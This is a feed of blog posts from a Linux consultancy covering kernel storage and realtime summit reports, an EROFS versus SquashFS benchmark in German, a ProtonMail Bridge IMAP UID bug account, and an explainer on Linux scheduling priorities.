]]>https://sigma-star.at/blog/2022/10/alpss-2022/Sun, 23 Oct 2022 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2022/10/alpss-2022/Alpine Linux Persistence and Storage Summit 2022

In October 2022 the 5th Alpine Linux Persistence and Storage Summit (ALPSS) was held. The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world. In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.

Day 1: It’s all about hiking – and food

The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).

]]>Alpine Linux Persistence and Storage Summit 2022

In October 2022 the 5th Alpine Linux Persistence and Storage Summit (ALPSS) was held. The organizers Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger were proud to welcome a big and motivated bunch of the Linux Kernel Storage community from various nations around the world. In old tradition the get-together took place at Lizumer Hütte (2019 m) in the Tuxer Alps.

Day 1: It’s all about hiking – and food

The main ingredients for a successful ALPSS: hot topics, Linux-focused brains, hiking and food. Or was it the other way round? However, we started with a pre-conference lunch. Afterwards we felt ready for the hike, starting at Lager Walchen in Wattental. With sweat and some photo-stops on the picturesque Zirbenweg we reached the Lizumer Hütte after some 2 hours. The lodge-keeper gave us a warm welcome and we switched back to where we started the day: food (plus some drinks).

Day 2: Storage mixed with good weather

The first round of presentations started with a talk by Richard Weinberger on his efforts to improve NFS re-export. While most ideas to reduce the overhead of file handle wrapping didn’t find love because they fix problems that exist only on NFSv3, the suggested approach to fix the ongoing cross-mount issue at least didn’t result in rejection. In the next talk Luis Chamberlain gave an overview of kdevops, blk- and fstests where he outlined where to expect determinism and where not. The conses was that testing the kernel is hard and traditional approaches often don’t apply.

After a tea break both Alexei Starovoitov and Christoph Hellwig spoke about eBPF and how to use it outside of the Linux kernel, for example directly on computational storage devices. The general conses was that having small programs on network or storage devices makes sense for some workloads - but instead of having eBPF support in hardware it’d make more sense to have a tiny CPU on these systems which can run a JIT. eBPF is way too Linux specific and restricted.

The final two presentations of the first day were given by Daniel Wagner and Hannes Reinecke. Daniel spoke about his ongoing work on libnvme and nvme-cli. Over the last year the userspace tooling around NVMe saw a major cleanup which will hopefully ease further maintenance. Hannes explored the possibilities on how to have an isolated userspace helper process around which can initiate a kTLS session for the kernel when needed. Especially when the root filesystem needs a multipath failover. One promising approach is using Linux’s usermode driver where the helper program is part of the kernel binary.

Day 3: More Storage

Despite the early hour the very first presentation of the third day resulted quickly in a heated discussion. Pankaj Raghav gave a talk on how to support non power of two (npo2) zoned devices in Linux. While the topic sounds not too scary it caused immediate fear and anger among certain developers. Currently Linux enforces that zones have power of two sizes. While this is considered as a sane technical decision, no specification enforces this constraint. Therefore some storage vendors expect Linux to support also non power of two sized zones. So far no consent was found on whether supporting npo2 devices is worth the technical burden nor whether there are users in the wild. Pankaj’s presentation was followed by Alex Graf. He discussed the possibilities of having thousands of NVMe disks attached to a single virtual machine. Using more disks per NVMe namespace would allow much more disks but due to shared queues this could cause performance problems. The other option is using NVMe over fabrics. While this scheme allows the needed amount of disk without performance penalties the user experience changes. Instead of having the disks directly attached to the VM, the operating system has to initiate the network attached disks. It was suggested to have single discovery server which helps the operating system finding all targets.

After a short break Paul McKenney presented a new way to work with RCU. Instead of having a global grace period were all pending RCU work is waited for, he proposed a way to avoid waiting. Alexei Starovoitov followed and gave a short presentation on how to use C extensions to catch common programming errors - mostly for use in eBPF.

The final two presentations where held by Tudor Ambarus, Pratyush Yadav and Keith Busch. Tudor and Pratyush gave an overview of Linux’s SPI-NOR flash framework and their ongoing effort to work with various flash chips that do not follow the specification. Last but not least, Keith gave insights in various performance improvements for Direct-IO he is currently working on. Especially combined with an IOMMU Linux has plenty of potential for optimizations.

Day 4: Back to reality

Time goes fast when you’re having a good time. In a blink it was time to pack our rucksacks again and leave for the valley. To make it a round trip – and be a bit quicker – we took the road down to Lager Walchen. With everybody safe back in lower altitudes, we said our farewells. Again, ALPSS kept what it promised: an ideal mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage, peppered with the stunning panorama of the Tyrolean Alps. Sure thing, we are already looking forward to the next ALPSS.

]]>https://sigma-star.at/de/blog/2022/07/squashfs-erofs/Thu, 21 Jul 2022 00:00:00 +0200David Oberhollenzerhttps://sigma-star.at/de/blog/2022/07/squashfs-erofs/<h1 id="erofs-vs-squashfs-ein-einfacher-benchmark">EROFS vs. SquashFS: Ein einfacher Benchmark</h1> <p>In manchen spezialisierten Anwendungen kann es wünschenswert oder sogar notwendig sein, ein unveränderliches Read-only-Dateisystem zu verwenden. Der Grund kann im darunterliegenden Speichermedium liegen, etwa einer Live-DVD, die sich nicht verändern lässt, oder einem Flash-Speicher in einem Embedded-System, der mit jedem Schreibzyklus altert. Ein unveränderliches Dateisystem bietet außerdem einen bekannten, wohldefinierten und stabilen Zustand. Einen Zustand, zu dem man mit einem Neustart jederzeit zurückkehren kann.</p>EROFS vs. SquashFS: Ein einfacher Benchmark

In manchen spezialisierten Anwendungen kann es wünschenswert oder sogar notwendig sein, ein unveränderliches Read-only-Dateisystem zu verwenden. Der Grund kann im darunterliegenden Speichermedium liegen, etwa einer Live-DVD, die sich nicht verändern lässt, oder einem Flash-Speicher in einem Embedded-System, der mit jedem Schreibzyklus altert. Ein unveränderliches Dateisystem bietet außerdem einen bekannten, wohldefinierten und stabilen Zustand. Einen Zustand, zu dem man mit einem Neustart jederzeit zurückkehren kann.

Ein Read-only-Dateisystem-Image funktioniert technisch eher wie ein Archiv mit wahlfreiem Zugriff, das einmal gepackt wird, zum Beispiel von einem Yocto-Build-Prozess. Ein Dateisystem, das explizit für diesen Anwendungsfall entworfen wurde, kann hochoptimierte Datenstrukturen und Kompressionstechniken bieten. Daten und Metadaten lassen sich vorsortieren, optimal anordnen, deduplizieren, und so weiter.

SquashFS, der derzeitige Platzhirsch

Auf Embedded-Linux-Systemen ist SquashFS derzeit das dominierende Dateisystem für solche Anwendungen. Es wurde 2009 in den Mainline-Linux-Kernel aufgenommen und löste das ältere cramfs ab. Anders als cramfs unterstützt SquashFS alle Annehmlichkeiten eines typischen Dateisystems, etwa

• 64-Bit-Datei- und Imagegrößen
• lange Pfadnamen
• erweiterte Attribute
• NFS-Export
• Sparse Files
• eine Auswahl verschiedener Datenkompressoren

Das On-Disk-Format von SquashFS ist auf hohe Datendichte ausgelegt. Dateidaten werden in Blöcken von typischerweise 128KiB (bis zu 1MiB) komprimiert, wobei sich kleinere Dateien einen Block teilen.¹ Metadaten (z.B. Inodes, Verzeichnisinhalte) werden ebenfalls komprimiert, in Blöcken von 8KiB. Dateidaten, Inodes und Verzeichnislisten werden getrennt voneinander abgelegt. Alle Datenstrukturen sind byteweise ausgerichtet, und SquashFS verwendet sogar Inodes variabler Größe, um noch die letzten Bytes herauszuholen.

Das Problem

Das Ergebnis ist ein sehr kompaktes Dateisystem-Image, allerdings auf Kosten der Lesegeschwindigkeit. Die Granularität der Metadatenblöcke bedeutet, dass beim Lesen eine gewisse Menge an Daten mitgeladen und entpackt wird, die gar nicht gebraucht wird. Da die komprimierten Blöcke variabel groß sind, liegen sie praktisch nie an den Blockgrenzen des Datenträgers, was einen gewissen Overhead bei der I/O verursacht. Unter Umständen ist vorab nicht einmal bekannt, wie viele Daten zu lesen sind. Zuerst muss ein Header gelesen werden, der dem Block variabler Größe vorausgeht.

EROFS und seine Vorteile

2019 wurde EROFS vorgestellt, erstmals verfügbar in Kernel 5.4. EROFS ist ebenfalls ein komprimiertes Read-only-Dateisystem, priorisiert in seinem Design aber die Leseleistung.

Während SquashFS Daten mit einer festen Eingabeblockgröße packt und dabei komprimierte Blöcke variabler Größe erzeugt, verwendet EROFS Fixed Output Compression. Die Menge der Eingabedaten darf flexibel sein, aber die erzeugten komprimierten Blöcke haben eine feste Größe. Dadurch liegen sie immer ideal an den I/O-Grenzen des Datenträgers. Die Größe ist stets im Voraus bekannt, und die Blöcke lassen sich über einen Index statt über einen Offset adressieren.

In EROFS werden Daten und Metadaten außerdem verschränkt statt getrennt gespeichert, was in manchen Fällen bessere Lokalität und schnellere sequenzielle Lesezugriffe ermöglicht.

Um herauszufinden, wie gut sich EROFS im Vergleich zu SquashFS schlägt, haben wir einen Größenvergleich und einen Lesegeschwindigkeits-Benchmark durchgeführt.

Benchmark

Für diesen Benchmark wurde ein SquashFS-Image von der Debian 10.2 Xfce Live-DVD extrahiert und in verschiedene andere Formate konvertiert. Das Image von der DVD ist rund 2GiB groß und verwendet die Standard-XZ-Kompression mit der Standardblockgröße von 128KiB.

EROFS unterstützte ursprünglich nur lz4-Kompression, hat aber kürzlich experimentelle Unterstützung für lzma hinzugefügt. Das erfordert derzeit einen eigenen Build der ebenfalls experimentellen Alpha-Version 5.3.2 von xz-utils.

SquashFS unterstützt ebenfalls lz4-Kompression. Um beide zu vergleichen, wurde das SquashFS-Image mit den tar-Konvertierungsprogrammen aus squashfs-tools-ng umgewandelt:

sqfs2tar debian.sqfs | tar2sqfs -c <compressor> test.sqfs

Als Referenz wurden auf diesem Weg auch die Tarballs mit derselben Kompression erzeugt, und tar2sqfs wurde zusätzlich so angepasst, dass es ein vollständig unkomprimiertes SquashFS-Image erzeugt.

Für einen besseren Größenvergleich und um den Effekt der Fixed Output Compression zu sehen, wurden weitere SquashFS-Images erzeugt, bei denen die Blockgröße von 128KiB auf 4KiB reduziert wurde, die Standard-Ausgabeblockgröße von EROFS.

Die EROFS-Images wurden gebaut, indem das SquashFS-Image entpackt und dann mit mkfs.erofs aus den erofs-utils neu gepackt wurde:

fakeroot rdsquashfs -XTCO -u / -p temp/ test.sqfs
fakeroot mkfs.erofs -z<compressor> test.erofs temp/

Vergleich der Imagegrößen

Sehen wir uns zuerst die absoluten Imagegrößen an.

Kompressor	tar	SquashFS	SquashFS 4KiB	EROFS
none	6.5 GiB	6.1 GiB	6.1 GiB	6.4 GiB
LZ4	3.3 GiB	3.1 GiB	3.6 GiB	3.9 GiB
LZ4 HC	2.8 GiB	2.7 GiB	3.4 GiB	3.6 GiB
XZ	1.7 GiB	2.0 GiB	2.6 GiB	2.7 GiB

• Wir sehen sofort, dass SquashFS mit Standardeinstellungen kleinere Images erzeugt als EROFS. Reduziert man die Blockgröße auf 4KiB, leidet die SquashFS-Kompression deutlich unter dem kleineren Fenster, und die Ergebnisse nähern sich denen von EROFS an, bleiben aber kleiner.

• Im unkomprimierten Fall liegen SquashFS und EROFS nahe beieinander, sind aber etwas kleiner als der Referenz-Tarball. Beide verwenden kompaktere, binäre Datenstrukturen als tar und unterstützen Deduplizierung.

• EROFS hat zudem etwas mehr Overhead als SquashFS, weil es größere, aber leichter zu dekodierende Datenstrukturen verwendet. Außerdem legt es mehr Wert auf Datenausrichtung für schnelle Lesezugriffe.

• Bei LZ4 schlägt SquashFS sogar den komprimierten Tarball, und erst im XZ-Fall gewinnt die Stream-Kompression mit ihrem großen gleitenden Fenster schließlich gegen die feste Blockgröße von 128KiB.

• Das XZ-komprimierte EROFS liegt größenmäßig ziemlich nahe bei SquashFS mit 4KiB-Blockgröße. Das ist eine Folge der Fixed Output Compression in EROFS. Es wird deutlicher, wenn wir jedes Format relativ zu seiner eigenen unkomprimierten Basis betrachten, was uns einen besseren Einblick gibt, wie effektiv jedes Format die Datenkompression nutzt:

Kompressor	tar	SquashFS	SquashFS 4KiB	EROFS
none	100.0%	100.0%	100.0%	100.0%
LZ4	50.6%	51.7%	59.9%	61.7%
LZ4 HC	42.5%	44.1%	56.1%	57.0%
XZ	25.3%	32.1%	43.3%	42.7%

Mit effektiveren Kompressoren schrumpft der Abstand zwischen SquashFS mit 4KiB-Blockgröße und EROFS. Das liegt daran, dass EROFS bei besserer Kompression das Eingabefenster vergrößern kann, was die Kompressionsrate verbessert.

Vergleich der Lesegeschwindigkeit

Für einen Geschwindigkeitsvergleich wurden ein kleiner Linux-5.19-Kernel und eine busybox-basierte initrd für einen Raspberry Pi 3 gebaut. Das zu testende Dateisystem lag auf einer separaten ext4-Partition auf der Boot-Micro-SD-Karte. Aus der busybox-Shell wurde das Image dann per Loop-Device gemountet und ein Teil seines Inhalts in einen Tarball gepackt, was eine Baumtraversierung und Zugriffe auf eine Reihe von Dateien auslöst:

mkdir -p /mnt/sdcard/ /mnt/testfs/
mount /dev/mmcblk0p2 /mnt/sdcard/
mount /mnt/sdcard/<testfs> /mnt/testfs/
time /bin/tar cf - /mnt/testfs/usr/bin > /dev/null

Wiederholt man die letzte Zeile 5 Mal (mit Leeren des Page-Cache dazwischen) und nimmt die schlechteste Zeit, ergibt sich folgende Tabelle:

Kompressor	SquashFS	SquashFS 4KiB	EROFS
none	6.75s	7.60s	6.38s
LZ4	4.76s	6.61s	4.05s
LZ4 HC	4.40s	6.23s	3.59s
XZ	24.81s	32.44s	17.71s

Die I/O-Leistung lässt sich etwas leichter veranschaulichen und vergleichen, wenn wir die Größe des erzeugten Tarballs (~125.0 MiB) durch die benötigte Zeit teilen:

Kompressor	SquashFS	SquashFS 4KiB	EROFS
none	18.5 MiB/s	16.5 MiB/s	19.6 MiB/s
LZ4	26.3 MiB/s	18.9 MiB/s	30.9 MiB/s
LZ4 HC	28.4 MiB/s	20.1 MiB/s	34.8 MiB/s
XZ	5.0 MiB/s	3.9 MiB/s	7.1 MiB/s

• Der Wechsel von unkomprimiert zu LZ4 beschleunigt den Vorgang in allen 3 Fällen. Eine höhere Datendichte durch den HC-Modus bringt einen weiteren Geschwindigkeitsgewinn. Die Zeit, die durch das Lesen von weniger Daten von der SD-Karte gespart wird, überwiegt die Zeit, die das Wiederherstellen aus der komprimierten Form kostet. Wir erkennen, dass die LZ4-Dekompression in unserem Testaufbau I/O-gebunden ist.

• Mit LZMA-Kompression bricht die Lesegeschwindigkeit dagegen drastisch ein, verglichen mit dem Lesen unkomprimierter Daten. Das Entpacken der Daten auf der CPU ist in allen 3 Fällen der Flaschenhals.

Vergleich mit kleiner Blockgröße

Vergleicht man EROFS zuerst mit SquashFS bei einer Blockgröße von 4KiB, profitiert EROFS von den ausgerichteten Lesezugriffen und übertrifft die Leseleistung unabhängig vom verwendeten Kompressor. Der Vorsprung von EROFS gegenüber SquashFS wächst sogar mit steigender Kompressionsrate.

Das lässt sich wieder mit der Fixed Output Compression und der Ausrichtung erklären. Bei SquashFS liegen die Dateisystemblöcke fast nie an den Grenzen der Geräteblöcke. Beim Lesen eines Blocks entsteht also ein gewisser Overhead an Daten, die zwar übertragen werden, aber eigentlich zu einem anderen Block gehören. Die I/O-Transfers von der SD-Karte werden ineffizient genutzt. Bei EROFS ist das nicht der Fall, und die Fixed Output Compression bedeutet, dass eine höhere Datendichte tatsächlich die Ausnutzung der gelesenen Geräteblöcke verbessert.

Erhöhen der Blockgröße

Ebenso sehen wir, dass SquashFS mit größerer Blockgröße an Leistung gewinnt. Deutlich mehr Dateien kleiner als 128KiB werden nun in gemeinsame “Fragment-Blöcke” gepackt. SquashFS hält intern einen Cache von 3 Fragment-Blöcken, und mit einer größeren Blockgröße erzielen wir nun mehr Cache-Treffer. Bei jedem Cache-Miss muss zwar ein viel größeres Stück von der SD-Karte gelesen werden, aber der Overhead durch unausgerichtete Lesezugriffe ist nun vergleichsweise klein.

Fazit

Ist EROFS also der bessere Ersatz für SquashFS? Es kommt darauf an.

Datenkompression ist ein klassisches Beispiel für einen Kompromiss zwischen Speicherplatz und Zeit. Selbst in unserem eigenen Benchmark sehen wir zum Beispiel, dass LZMA fast 60% Platzersparnis bringt, dafür aber beim Entpacken der Daten Leistung kostet. LZ4 ist im Vergleich extrem schnell, kommt aber nicht annähernd an diese Datendichte heran.

Genauso ist SquashFS darauf ausgelegt, das letzte Byte aus einem Dateisystem herauszuholen. Das Ziel von EROFS ist dagegen, trotz Kompression schnell zu sein; dafür opfert es Platz zugunsten von Geschwindigkeit.

Unserem Benchmark zufolge erreichen beide Dateisysteme ihre jeweiligen Ziele recht gut.

Empfehlungen

Wenn Speicherplatz knapp ist, spricht vieles dafür, bei SquashFS zu bleiben. Wenn Datei-I/O in Ihrer Anwendung ein Flaschenhals ist, lohnt sich ein Blick auf EROFS auf jeden Fall.

Bitte beachten Sie, dass die LZMA-Kompression für EROFS zum Zeitpunkt der Erstellung dieses Artikels noch als experimentell gilt.

Auf EROFS-Seite wäre Zstd ein interessanter Kompressor als Ergänzung. Wie andere SquashFS-Benchmarks gezeigt haben, bringt Zstd gegenüber LZ4 deutliche Gewinne bei der Datendichte, lässt sich aber immer noch viel schneller entpacken als LZMA.²

---

1. https://dr-emann.github.io/squashfs/squashfs.html ↩︎

2. https://github.com/AgentD/squashfs-tools-ng/blob/master/doc/benchmark.txt ↩︎

]]>https://sigma-star.at/blog/2022/07/protonmail-adventure/Fri, 01 Jul 2022 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2022/07/protonmail-adventure/Our Protonmail Adventure - A Five Act Drama

1. Exposition

After many years of running our mail/groupware setup on our own infrastructure we decided in early 2021 to switch to a hosted solution. The main reason was time: Everyone in the team is busy with writing or auditing code and the time left for petting mail servers went close to zero.

The Decision

From the very beginning ProtonMail was on the shortlist because we liked the idea of having all our mails encrypted on the ProtonMail servers. Side note: Yes, we knew that ProtonMail can in theory capture our passwords and decrypt everything. Some team members have been using it privately too and have been quite happy. Since ProtonMail now also supports groupware features such as calendar and contacts we finally decided to give it a try. At this time we knew already about some limitations, for example, no ProtonMail Calendar App for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon. Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped that those missing features will materialize sooner or later.

]]>Our Protonmail Adventure - A Five Act Drama

1. Exposition

After many years of running our mail/groupware setup on our own infrastructure we decided in early 2021 to switch to a hosted solution. The main reason was time: Everyone in the team is busy with writing or auditing code and the time left for petting mail servers went close to zero.

The Decision

From the very beginning ProtonMail was on the shortlist because we liked the idea of having all our mails encrypted on the ProtonMail servers. Side note: Yes, we knew that ProtonMail can in theory capture our passwords and decrypt everything. Some team members have been using it privately too and have been quite happy. Since ProtonMail now also supports groupware features such as calendar and contacts we finally decided to give it a try. At this time we knew already about some limitations, for example, no ProtonMail Calendar App for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon. Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped that those missing features will materialize sooner or later.

2. Rising Action

Aliases with multiple recipients

Right after purchasing a subscription we experienced the first set-back. Since the very beginning of our company history we have mail aliases such as office@ or accounting@ which will target multiple recipients. While ProtonMail supports aliases, it has no support for simple distribution lists. So having an office@ pointing to multiple mailboxes is not possible. ProtonMail support confirmed that this feature is not available but might be implemented eventually in the future. Teeth-gnashingly we worked around the issue by assigning aliases to only one recipient each and started forwarding mails manually.

Android App

Some of our mailboxes are rather huge, they contain up to 100k mails. While importing them via IMAP worked well, accessing them for the first time did not. Especially the ProtonMail App for Android does not like lots of new mail or mails with a new state. After the initial import the Android App stopped working for more than two days after finally being able to display mails. The same problem was also observable after marking a few thousand mails as read. Another obstacle with the Android App was that frequent changes between WiFi and cellular network caused an invalid state and the app was unable to fetch new mail. Erasing all app data resolved the problem in most cases, sometimes only re-installing the whole app helped.

ProtonMail Bridge

On our workstations we deployed ProtonMail Bridge so that everyone was able to use their least hated mail client. The bridge connects to ProtonMail services and acts as an IMAP service on localhost. Soon we experienced high CPU usage and stalls of the bridge process. The CPU usage problem has highly correlated with the used mail client. Most problems have been observed when KDE Kmail was used. Our best guess is that Kmail runs many IMAP requests in parallel and triggers various scaling issues within the bridge. ProtonMail support was unable to help us. As a workaround some of us started using getmail to fetch mail via IMAP into a local Maildir and gave Kmail access to it. With getmail being relatively stupid and strictly single threaded the bridge consumed much less CPU and showed no stalls. It turned out that has been the least problem with ProtonMail Bridge.

End-to-End PGP

We’re heavy users of PGP mail and believe in end-to-end encryption. While ProtonMail can do PGP for us on the server side, nobody of us would ever upload their kernel.org PGP private key into ProtonMail. The server side PGP feature of ProtonMail is nice, as all mails stored on Proton’s servers are encrypted, but we’re still utilizing PGP with our own local keys by encrypting mails with GnuPG or similar. As a consequence mails are double PGP encrypted:

1. First by our local PGP client
2. Later by ProtonMail on the server side

A side effect of this is that the mime content type in mails is changed from Content-Type: multipart/encrypted to Content-Type: multipart/mixed which caused problems with various PGP capable mail clients. To our astonishment we have been told by ProtonMail support that using PGP locally with ProtonMail is not supported and currently works just by chance.

The Changing Point

At this point most of the initial excitement for ProtonMail rendered into depression. The only hope was that at least some of the problems or missing features we’ve encountered will get addressed soon. But our expectations were low, especially since most answers from ProtonMail support fell into two categories:

• We don’t support this use-case.
• Did you try turning it off and on again?

3. Climax

With all our workarounds installed we learned to somehow deal with ProtonMail and it seemed to work rather well. Features were still missing but we hoped to see some of them implemented soon with some luck. From time to time one or the other of us noticed something strange. An IMAP capable mail client decided to re-download the whole mailbox or started to re-index everything. Most of the time we saw that on mbsync and Kmail.

Tipping point

On 29.09.2021 the situation changed significantly. Around 15:00 that day various team members at the company saw strangeness happening with the ProtonMail Bridge. Kmail all of a sudden re-downloaded a mailbox, mbsync did a mis-sync and removed local mail, getmail did not download new mail despite new mail being present, etc. At this point our fear grew that something wonky was happening at the bridge.

The UID problem of ProtonMail bridge

Around the same time Richard was debugging a problem with getmail on IMAP level and later found that ProtonMail bridge violates the IMAP specification.¹

Due to this bug hunt Richard had many IMAP protocol logs of his mailbox and started to investigate why getmail on his workstation no longer found new mail after 29.09.2021.

At IMAP level every mail has a unique and immutable identifier: the message UID. getmail keeps a list of downloaded UIDs to know which messages qualify for downloading. So getmail basically asks the IMAP server for a list of UIDs of a specific mailbox, compares it to its local list and fetches all mail who’s UID is new. Richard found that getmail did not see new mail because the new mail on the ProtonMail server side had UIDs which were already in getmails list! By comparing with the protocol logs before 29.09.2021 we had proof that the very same message all of a sudden had different UIDs. This explained all the problems we had with various mail clients regarding mail sync. We immediately reported the problem to the ProtonMail bridge folks and support.²

The Hack

To be very sure Richard added a hack to his local getmail.³ In addition to the message UID getmail now also stored the message size in its local state. This allowed detecting UID changes immediately.

Sure Thing

A few weeks later the problem happened again, getmail detected a UID change.⁴ At this point it was crystal clear to us that ProtonMail bridge is not trustworthy and can cause major trouble leading to data loss.

4. Falling Action

One would expect that when such a fatal error is reported, developers would react in a reasonable way, especially when the affected product is something you pay for. But nothing happened for a long time. In January 2022 ProtonMail Bridge developers kind of agreed that this bug is real and they’re basically rewriting it.⁵ In the meanwhile other users realized that they’re also affected and that it’s not a bug in their mail clients.

Around March 2022 there was still no progress with the UID bug nor with any of the missing features. We had no iOS calendar app, no shared calendar, no distribution lists, nothing. All we had was a huge pile of wasted time with debugging and reading the source new knowledge and deeper understanding of IMAP and various mail clients which didn’t make use more confident to use ProtonMail Bridge. That said, not all problems rooted in ProtonMail Bridge, we fixed also one in getmail.⁶

The original plan was to save time by using a hosted service. The move to ProtonMail caused the opposite.

5. Resolution

Finally we decided to bite the bullet and migrate away from ProtonMail. We had to accept that it is not a perfect fit for our use-cases. For others it might work well, but not for us. Maybe it would have been a less painful experience if we didn’t depend on the bridge. But finally we had to give up and move on.

---

1. https://web.archive.org/web/20220822094804/https://github.com/ProtonMail/proton-bridge/issues/221 ↩︎

2. https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220 ↩︎

3. https://github.com/richardweinberger/getmail6/commit/3abcceffa253a70e428368ec9e276b0b49058b37 ↩︎

4. https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-972226749 ↩︎

5. https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-1007199436 ↩︎

6. https://github.com/getmail6/getmail6/commit/d87d93e1d1bb2550c265a866dda667dde25865d4 ↩︎

]]>https://sigma-star.at/blog/2022/06/summit-summit-2022/Mon, 13 Jun 2022 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2022/06/summit-summit-2022/Summit on a Summit 2022 Edition

After a two years long break the Summit on a Summit was back in early June this year. As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger. It took place at the Glungezerhütte at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria. As usual hot topics around implementing realtime features on Linux were discussed. Beside of PREEMPT_RT many of discussions focused this time on Xenomai.

]]>Summit on a Summit 2022 Edition

After a two years long break the Summit on a Summit was back in early June this year. As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger. It took place at the Glungezerhütte at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria. As usual hot topics around implementing realtime features on Linux were discussed. Beside of PREEMPT_RT many of discussions focused this time on Xenomai.

Good weather & some peaks

On Friday we met at Innsbruck train station and drove up to Tulfes where we enjoyed a traditional Austrian lunch at the Tuxerbauer. Hiking up to the Glungezerhütte took only a few hours and due to foggy weather it wasn’t too hot. Up at the lodge the sun came out and we had perfect weather until Sunday when we hiked down to Tulfes. This allowed among heated discussions also some nice hikes to the nearby summits such as the Sonnen- and Viggarspitze.

The topics we discussed

This year many discussed topics orbited around solving maintenance and upgrade problems - especially the Xenomai project suffers from that. The transition to the new interrupt pipeline implementation, Dovetail will hopefully reduce the overhead but it isn’t a silver bullet. PREEMPT_RT wise, recent regressions and subtle behavioral changes have been discussed. Most notably changes to softirq processing which made meeting timing constraints for networking application more difficult. The possibility of using XDP and eBPF was stormily debated, bypassing most of Linux’ network stack seems also for time sensitive applications a desirable solution. But it comes with a cost: more complexity and critical code in the application itself. Other topics focused on minor problems such as trouble with the cgroup memory controller and eBPF centered workloads on PREEMPT_RT. Xenomai folks also took the chance to present their realtime capable serial drivers after a PREEMPT_RT user complained about tty drivers and timing sensitive workloads on Linux. Interestingly, eBPF came up on most discussions, sometimes as solution, sometimes as root cause of trouble. At the end of the event we had a good mix of community, user facing features and deeply internal related topics.

]]>https://sigma-star.at/blog/2022/02/linux-proc-prios/Wed, 02 Feb 2022 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2022/02/linux-proc-prios/Linux process priorities demystified

Simple questions often have not so simple answers. One example is the question, What priority does this process have? This question normally comes up when a customer asks us to explain choices made by the CPU scheduler.

To answer it we need to discuss further sub-questions.

1. What thread of the process are you interested in?
2. What scheduling policy has this thread?
3. Who gave us the process priority we’re looking into?

Processes? Threads? Tasks?

Like most operating systems Linux supports threads, which can be seen as a distinct execution flow. In the simplest case we have a process with just one thread, the main thread. While a thread models the execution flow, a process models shared resources between threads. The most prominent resource is memory. Within a process all threads share the same memory. Hence, many threads that run in parallel can work on the same memory to solve a problem.

]]>Linux process priorities demystified

Simple questions often have not so simple answers. One example is the question, What priority does this process have? This question normally comes up when a customer asks us to explain choices made by the CPU scheduler.

To answer it we need to discuss further sub-questions.

1. What thread of the process are you interested in?
2. What scheduling policy has this thread?
3. Who gave us the process priority we’re looking into?

Processes? Threads? Tasks?

Like most operating systems Linux supports threads, which can be seen as a distinct execution flow. In the simplest case we have a process with just one thread, the main thread. While a thread models the execution flow, a process models shared resources between threads. The most prominent resource is memory. Within a process all threads share the same memory. Hence, many threads that run in parallel can work on the same memory to solve a problem.

The Linux CPU scheduler does not operate on processes, in fact it schedules tasks. Within the kernel the smallest scheduling entity is a task, it can be anything that can run on a CPU. It might be a kernel thread, a userspace thread, a threaded interrupt, etc. So don’t get confused, for simplicity we can assume that threads and tasks are the same for now.

Since the scheduler works on tasks, it ensures that each task (and therefore, thread) has its own priority. To learn about the priority one must inspect all threads of a process. By default most Linux tools just show processes, the priorities shown there are the priorities of the main thread. Many offer a way to show threads too. For example in the top utility by pressing H.

Now we are able to answer the first sub-question. We now know that process priorities actually apply per thread, so we need to inspect all threads of a process. If the process in question has just one thread or we’re only interested in a specific thread, things become easy again.

Scheduling policy

POSIX requires that an operating system offers different scheduling policies, also sometimes called scheduling classes. By default all tasks in Linux use the default schedulung policy, called SCHED_NORMAL or SCHED_OTHER.

The scheduling algorithm behind SCHED_OTHER is not defined by POSIX and is implementation specific. Linux makes sure that all tasks within this scheduling policy are treated fairly. This means no task will starve and from the user’s point of view it seems like all programs are running all time, nothing will feel sluggish but heavy workloads still get stuff done in a timely manner. In this policy every task has a priority, it is called nice value. The nice value denotes how nice a task is to other tasks. The value ranges from 19 to -20. Where -20 means that a task is not nice at all and wants to run as often as possible, 19 signifies it is very nice to other tasks and is fine when the scheduler picks other tasks much more often. Default is 0, meaning the task is neither selfish nor too devoted. The current algorithm behind SCHED_OTHER is called Completely Fair Scheduling (CFS). CFS offers two more policies: SCHED_BATCH and SCHED_IDLE. They make sure that a thread either runs when possible in one batch, thus interactivity does not matter, or when SCHED_IDLE is selected that the thread shall run when no other task can run, so the very least priority. Please note that SCHED_IDLE has nothing to do with the idle thread. The idle thread is scheduled when absolutely nothing runable was found by the CPU scheduler. When SCHED_BATCH or SCHED_IDLE are selected CFS’s priority have no meanining, although some tools report a number.

Linux also implements the POSIX Realtime Extensions. Using these extensions time critical programs can run on Linux that have to meet strict timing constraints. It offers two policies: SCHED_FIFO and SCHED_RR. These policies allow deterministic scheduling between threads. Both policies have a priority between 1 and 99, where 1 is the lowest. The scheduler will pick a runnable task depending on the priority.

Linux offers another scheduling policy, SCHED_DEADLINE. This policy does not allow the setting of a priority, so it’s irrelevant here. As opposed to a priority it allows setting a deadline by which a given work would be completed. So the CPU scheduler has to make sure that the task runs for long enough before the deadline.

